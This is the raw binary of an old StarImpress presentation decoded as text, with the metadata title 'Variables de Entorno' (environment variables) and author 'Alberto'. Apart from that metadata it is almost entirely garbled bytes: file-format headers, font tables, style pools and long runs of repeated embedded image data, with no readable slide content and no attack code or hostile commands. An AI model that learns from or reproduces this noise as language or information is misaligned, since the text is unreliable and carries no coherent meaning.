ࡱ;   !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~Root Entry  !r\V)䰱 PresentacinStarImpress 5.0wXKSfxDocumentInfo Alberto X1舝 X1L X1Variables de Entorno Info 0 Info 1 Info 2 Info 3 X1 M< TASK,0,1,H 1,0,100,1,Oh+'0 h t 77@ٷ@-V@=,W@qO AlbertoVariables de EntornoI!XOutdevItemPool 1   )     &'()*+,-./06789:;UVWXYZ[\]c !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstt      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefd0k'@qXX',@X'F@25XXXX&X.' @+X'@Flecha FlechaddXXXT'@|FlechaddlineendXXX`'.@,XXX':@,YXXXX&'@(XX'@KX@kX@X@X@X@X@X@!X'(@MXXX'@̙̙XX X2XDXVXhXz'b@o22ddՌ 22ddXX6'(@X'"@ BMvv(@@SD@x^SI 0 s\ z 46ZBn8x)1̔.<觔B+̄ ޢ40:prf |q]~+H~|WFMbP@aoCē[ȡz6~U{߃XFXNXVX^XfXnXvX~XXXXXXXXXXKK@XX(L @ MM"@FXXNN"@tXXOO"@XXPP"@XXQQ@ XXRR @SS"@>XXTT @\UU@|XXVV(@  XXXWW @XX @YY @ZZ @[[ @&\\ @<]] @R__ @h`` @~aa @bb @cc @dd @ee @@X@(X@HX@hX@X@dX@X@X@ X @# @9 @O @e @{@ ]?1'?'@'' ''' '''''' ''' '''''' XXXX&X2X>XDXPXhXXX@ ]'?'''?''>'':'' ''' '' *'' '' XXX&X,X>XPXbXtXXXX**F@@?g@XXXX X&X,77 |@ C?c,,?,,>,,,, XXXX X,X8XDXPXVHH |@ @?8+''@+ ' +'XXXX X2X8X>XDXPff%L@" JJKKMMNNOOPPQQUUVV JJ KKMMNNOOPPQQUUVVJJKKJJKK9QQVV JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV  JJKKMMNNOOPPQQUUVV  = JJKKMMNNOOPPQQUUVV  JJKKMMNNOOPPQQUUVV >JJ; JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV JJ KKMMNNOOPPQQUUVV JJ KKMMNNOOPPQQUUVV JJ KKMMNNOOPPQQUUVVJJ JJ KKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQUUVV JJKKMMNNOOPPQQSSUUVV JJKKMMNNOOPPQQSSUUVV JJKKMMNNOOPPQQUUVV JJ KKMMNNOOPPQQUUVV  JJKKMMNNOOPPQQUUVV# JJKKMMNNOOPPQQUUVVXXJXXXXXX4XpXXXX*XfXrXXX&XbXXXXX(XdXXXXTXXXXPXJ@ X8pG.Nl6j9[:Xv . M k ) W w + I _ ; i Cw'=Si +Km$:LL& PW!EditEngineItemPool "6f0/g*@ Z3Times New Romand3Times New Romand 3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New RomandZ "X,StarBatsN -",StarBatsN -",StarBatsN -"` ` ,StarBatsN -" ,StarBatsN -",StarBatsN -"hh,StarBatsN -",StarBatsN -",StarBatsN -"pp,StarBatsN - ",StarBatsN -",StarBatsN -",StarBatsN -"` ` ,StarBatsN -" ,StarBatsN -",StarBatsN -"hh,StarBatsN -",StarBatsN -",StarBatsN -"pp,StarBatsN - Z3Times New Romand3Times New Romand 3Times New Romand3Times New Romand3Times New Romand3Times New Romanddd3Times New Romanddd3Times New Romanddd3Times New RomandddZ Z3Times New Roman88d3Times New Roman88d 3Times New Roman88d3Times New Roman88d3Times New Roman88d3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New RomandZ Z3Times New Romand3Times New Romand 3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New RomandZZ3Times New RomandZ  Z3Times New Roman:3Times New Romand 3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New RomandZ  ZS3Times New RomandH3Times New Roman:3Times New Romandg 3Times New Romand]3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ  ZS3Times New RomandH3Times New Romand3Times New Roman:g 3Times New Romand]3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ ! Z3Times New RomanK3Times New Romand 3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New RomandZ  Z3Times New Roman23Times New Romand 3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New RomandZ Z3Times New RomanB3Times New Romand 3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New RomandZ ZS3Times New RomandH3Times New Romand3Times New RomanBg 3Times New Romand]3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ Z3Times New Romand3Times New RomanB 3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New Romand3Times New RomandZ ZS3Times New RomandH3Times New Romand3Times New RomanBg 3Times New Romand]3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ ZS3Times New RomandH3Times New Romand3Times New Romandg 3Times New Romand]3Times New RomanFS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ ZS3Times New RomandH3Times New Romand3Times New Romandg 3Times New Romand]3Times New Roman<S3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ ZS3Times New RomandH3Times New Romand3Times New Romandg 3Times New Romand]3Times New RomandS3Times New Roman<S3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ  ZS3Times New RomandH3Times New Roman:3Times New Romandg 3Times New Romand]3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ  ZS3Times New RomandH3Times New RomanK3Times New Romandg 3Times New Romand]3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ ZS3Times New RomandH3Times New Romand3Times New RomanKg 3Times New Romand]3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandS3Times New RomandZ Z d1HNAT5 qGIF89a f3̙f3f3ffffff3f3333f333f3f3̙f3̙̙̙̙f̙3̙ffffff3f3333f333f3̙f3̙̙f3̙f3ff̙ffff3f33̙33f333̙f3ffffff3ffff̙fff3fffffff3ffffffffffff3fff3f3f3f3ff33f3ffffff3f3333f333333̙3f3333333f3333f3f3f3ff3f33f33333333f333333333f333f3̙f3f3ffffff3f3333f333f3!, N=H 8T`! @0xAG$ \ÈG8LcƑ!:xC9d%ˈ]̘s#@z; )TimesO>>K1NAT5 qGIF89a f3̙f3f3ffffff3f3333f333f3f3̙f3̙̙̙̙f̙3̙ffffff3f3333f333f3̙f3̙̙f3̙f3ff̙ffff3f33̙33f333̙f3ffffff3ffff̙fff3fffffff3ffffffffffff3fff3f3f3f3ff33f3ffffff3f3333f333333̙3f3333333f3333f3f3f3ff3f33f33333333f333333333f333f3̙f3f3ffffff3f3333f333f3!, N=H 8T`! @0xAG$ \ÈG8LcƑ!:xC9d%ˈ]̘s#@z; )TimesO>>K1g NAT5 qGIF89a f3̙f3f3ffffff3f3333f333f3f3̙f3̙̙̙̙f̙3̙ffffff3f3333f333f3̙f3̙̙f3̙f3ff̙ffff3f33̙33f333̙f3ffffff3ffff̙fff3fffffff3ffffffffffff3fff3f3f3f3ff33f3ffffff3f3333f333333̙3f3333333f3333f3f3f3ff3f33f33333333f333333333f333f3̙f3f3ffffff3f3333f333f3!, N=H 8T`! @0xAG$ \ÈG8LcƑ!:xC9d%ˈ]̘s#@z; )TimesO>>K1]NAT5 qGIF89a f3̙f3f3ffffff3f3333f333f3f3̙f3̙̙̙̙f̙3̙ffffff3f3333f333f3̙f3̙̙f3̙f3ff̙ffff3f33̙33f333̙f3ffffff3ffff̙fff3fffffff3ffffffffffff3fff3f3f3f3ff33f3ffffff3f3333f333333̙3f3333333f3333f3f3f3ff3f33f33333333f333333333f333f3̙f3f3ffffff3f3333f333f3!, N=H 8T`! @0xAG$ \ÈG8LcƑ!:xC9d%ˈ]̘s#@z; )TimesO>>K1SNAT5 qGIF89a f3̙f3f3ffffff3f3333f333f3f3̙f3̙̙̙̙f̙3̙ffffff3f3333f333f3̙f3̙̙f3̙f3ff̙ffff3f33̙33f333̙f3ffffff3ffff̙fff3fffffff3ffffffffffff3fff3f3f3f3ff33f3ffffff3f3333f333333̙3f3333333f3333f3f3f3ff3f33f33333333f333333333f333f3̙f3f3ffffff3f3333f333f3!, N=H 8T`! @0xAG$ \ÈG8LcƑ!:xC9d%ˈ]̘s#@z; )TimesO>>K1SNAT5 qGIF89a f3̙f3f3ffffff3f3333f333f3f3̙f3̙̙̙̙f̙3̙ffffff3f3333f333f3̙f3̙̙f3̙f3ff̙ffff3f33̙33f333̙f3ffffff3ffff̙fff3fffffff3ffffffffffff3fff3f3f3f3ff33f3ffffff3f3333f333333̙3f3333333f3333f3f3f3ff3f33f33333333f333333333f333f3̙f3f3ffffff3f3333f333f3!, N=H 8T`! @0xAG$ \ÈG8LcƑ!:xC9d%ˈ]̘s#@z; )TimesO>>K1SNAT5 qGIF89a f3̙f3f3ffffff3f3333f333f3f3̙f3̙̙̙̙f̙3̙ffffff3f3333f333f3̙f3̙̙f3̙f3ff̙ffff3f33̙33f333̙f3ffffff3ffff̙fff3fffffff3ffffffffffff3fff3f3f3f3ff33f3ffffff3f3333f333333̙3f3333333f3333f3f3f3ff3f33f33333333f333333333f333f3̙f3f3ffffff3f3333f333f3!, N=H 8T`! @0xAG$ \ÈG8LcƑ!:xC9d%ˈ]̘s#@z; )TimesO>>K1SNAT5 qGIF89a f3̙f3f3ffffff3f3333f333f3f3̙f3̙̙̙̙f̙3̙ffffff3f3333f333f3̙f3̙̙f3̙f3ff̙ffff3f33̙33f333̙f3ffffff3ffff̙fff3fffffff3ffffffffffff3fff3f3f3f3ff33f3ffffff3f3333f333333̙3f3333333f3333f3f3f3ff3f33f33333333f333333333f333f3̙f3f3ffffff3f3333f333f3!, N=H 8T`! @0xAG$ \ÈG8LcƑ!:xC9d%ˈ]̘s#@z; )TimesO>>K1SNAT5 qGIF89a f3̙f3f3ffffff3f3333f333f3f3̙f3̙̙̙̙f̙3̙ffffff3f3333f333f3̙f3̙̙f3̙f3ff̙ffff3f33̙33f333̙f3ffffff3ffff̙fff3fffffff3ffffffffffff3fff3f3f3f3ff33f3ffffff3f3333f333333̙3f3333333f3333f3f3f3ff3f33f33333333f333333333f333f3̙f3f3ffffff3f3333f333f3!, N=H 8T`! @0xAG$ \ÈG8LcƑ!:xC9d%ˈ]̘s#@z; )TimesO>>KZXXtXX XXXyX XpX"X<'X+X0Xn4X8X:=XAXFXlJXNX8SXWX\ @.@PXX@ dddY|dddxAxdddxYFdddnFddddddYDFdddddDd  ddDd <ddDd \ddDd |ddDd8 ddDdX pddDd  ddDd<ddDd\ddDd ddd YDddDdxddDd!XX'X:XSXfXyXXXXXXXXX*X=XPXcX|X<( n@    XXXX X&X,X2X8X>XD ($U@< StarBats!"-BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KnTimes New Roman!dTimes New Roman!dBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KpTimes New Roman!dTimes New Roman{!dTimes New Roman{!dTimes New Roman{!d BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K ?88Times New Roman!d BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K Times New Roman!BBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S{!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S{!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S{!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S{!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S{!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S{!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S{!1KBM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S{!1K BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S{!1K!BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K"BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K#BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K$BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K%BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K&BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K'BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K(BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K)BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K*BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K+BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K,BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K-BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K.BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K/BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K0Times New Roman!B1BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K2Times New Roman!B3Times New Roman{!F4Times New Roman!:5 Times New Roman!:6BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K7BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K8BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K9BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K:BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K;BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1K<BM6( SDnx^q0@EYL{#irRN*`ނAY)Vgh 3 MzZ) Rgh ܛ)Llmmȭt+kBAuHuQu0؛&&G)L*:CS:CSxG)4G)tzW&ir7䑎) .:CSPuBu :CSRV&ir:c 34Qgh ɣJ)'&I>HXhd˳l[(ۑ2gI|Y,K 7-#/Q2{z3di:o~>~r~\wuH+ySE@y /S!1KXXGX XKXXOXXXXOXXSX XW X X XXgX+XXXwX;XXXXK X"X#X%X['X)X*X,Xk.X/0X1X3X{5X?7X9X:X<XO>X@XAXCX_EXEXcGXGXGX#HXcHX'JXKXMXsOX7QXR@'3@fdddddXddddddHdddd dddg ddd]dddS @dddY dddYH g dddg Y dddY ddddddg dddg ]ddd] SdddSnddHdpddd dddg ddd]dddSdddXX!X4XGXZXmXXXXXXX XX0XCXVXiX|XXXXA'@ \dddddddddd dd dd rdd dd ddeddddXXX&X2X>XJXVXbXnXzX1'@!dX+'(@#XXX'@ , , , , ', 1, ;, tE, `O, LY, 8c, $m,  3, , , #, -, 7, A, K, U, _, ki,  , , , , ), x3, d=, PG, , G, Q, [,  q, ], I, 5%, !/, 9, B, L, V, XXgXX XVX!'J@, 8883333eXXX&X2'@Times New RomanArial Courier NewSymbol Arial;CourierXX(X8XNX_'@ IOd Nd  4d d 